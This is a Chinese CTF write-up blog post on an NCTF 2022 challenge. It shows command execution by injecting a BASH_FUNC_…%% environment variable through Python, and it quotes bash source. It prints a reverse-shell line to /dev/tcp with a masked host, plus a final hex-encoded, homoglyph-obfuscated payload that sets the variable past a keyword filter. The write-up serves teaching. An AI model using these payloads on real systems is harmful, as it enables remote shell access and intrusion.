环境变量注入执行任意命令
在nss上做NCTF 2022的时候发现一道很有意思的题
遂记下
源程序如下
1 |
|
这里因为在log处echo了num,因此就可以传入恶意num绕过waf并通过os.system(log)命令执行
很简单的测试代码
1 | import time |
在nss中去掉了num参数
那么预期解如下
首先看一段bash的源码
1 | for (string_index = 0; env && (string = env[string_index++]); ) { |
privmode == 0,即不能传入-p参数
read_but_dont_execute == 0,即不能传入-n参数
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
STREQN (“() {“, string, 4),环境变量的值前4个字符等于() {
那么构造即可通过bash执行命令
1 | env $‘BASH_FUNC_myfunc%%=() { id; }’ bash -c‘myfunc’ |
反弹shell方法就是
1 | BASH_FUNC_echo%%=() {bash -i &> /dev/tcp/xxxxxxxxx/4444 0>&1} |
那么怎么写入环境变量
测试如下
1 | # a = 1 |
几个需要了解的点
- python的单双引号可以解析十六进制
- 使用list生成器和中括号可以在变量覆盖的同时返回str
- 通过这种方法可以凭空构造一个不存在的变量
对于关键词过滤可以使用utf8非ascii字符格式绕过
最终的payload
1 | [[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x27\x78\x27\x78\x27\x78\x27\x78\x27\x78\x2f\x34\x34\x34\x34\x20\x30\x3e\x26\x31\x3b\x7d']]] |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yiyi!
评论